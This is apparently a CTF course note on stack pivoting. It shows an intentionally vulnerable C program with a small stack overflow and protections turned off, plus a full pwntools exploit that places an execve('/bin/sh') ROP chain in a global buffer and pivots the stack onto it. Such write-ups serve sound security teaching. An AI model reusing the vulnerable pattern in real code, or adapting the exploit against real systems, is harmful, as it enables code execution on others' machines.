Simple PWN - 0x09(stack pivoting)

Simple PWN - 0x09(stack pivoting)

tags: CTF PWN eductf

Stack Pivoting background

NTUSTISC - Pwn Basic 3 [2019.03.26] Pwn week1 It was used when stack overflow bytes not big enough to access a shellcode but it has another lots of writable space can be accessed. More detailed info. can refer to Binary Exploitation (Pwn)

Original Code

#include <stdio.h>
#include <unistd.h>

char name[0x80]

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Give me your name: ");
    read(0, name, 0x80);

    printf("Give me your ROP: ");
    read(0, s, 0x20);

    return 0;
}
  • You can observe that it has not much stack buffer overflow can use, but it has global variable name with space 0x80(can be another stack)
      gcc -o stack_pivoting stack_pivoting.c -no-pie -fno-stack-protector -z norelro -zexecstack -static
    
  • Note that

    : must use mprotect to change permission of global variable name just like lecture 0x04, add these line in original code

      #include <sys/mman.h>
      mprotect(0x403000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
    

    Before mprotect - vmmap After mprotect - vmmap

Exploit

  1. Construct ROP chain
     objdump -d -M Intel stack_pivoting | grep "<name>"
     ROPgadget --binary stack_pivoting --only "pop|ret|syscall|leave" > one_gadget
     vim one_gadget
    

  2. Find address of variable name
     objdump -d -M Intel stack_pivoting | grep "<name>"
    

  3. Whole exploit :::spoiler Code
     from pwn import *
    
     context.arch = 'amd64'
    
     r = process('./stack_pivoting')
     raw_input()
     name = 0x4c70c0
     leave_ret = 0x40182d
     pop_rdi_ret = 0x401ecf
     pop_rsi_ret = 0x409efe
     pop_rax_ret = 0x44fd07
     pop_rdx_rbx_ret = 0x485b2b
     syscall = 0x401c84
    
     ROP = b'/bin/sh\x00'
     ROP += flat(
         pop_rdi_ret, name,
         pop_rsi_ret, 0,
         pop_rdx_rbx_ret, 0, 0,
         pop_rax_ret, 0x3b,
         syscall
     )
    
     r.sendafter("Give me your name: ", ROP)
     raw_input()
     r.sendafter("Give me your ROP: ", b'a'*0x10 + p64(name) + p64(leave_ret))
    
     r.interactive()
    

    :::

    • First, write ROP chain to global variable name
    • Next, use 2 leave ; ret to pivot name as a stack
  4. Finally, you got shell!!!

Reference

mprotect.2 man trace 30個基本Linux系統呼叫第二十二日:mprotect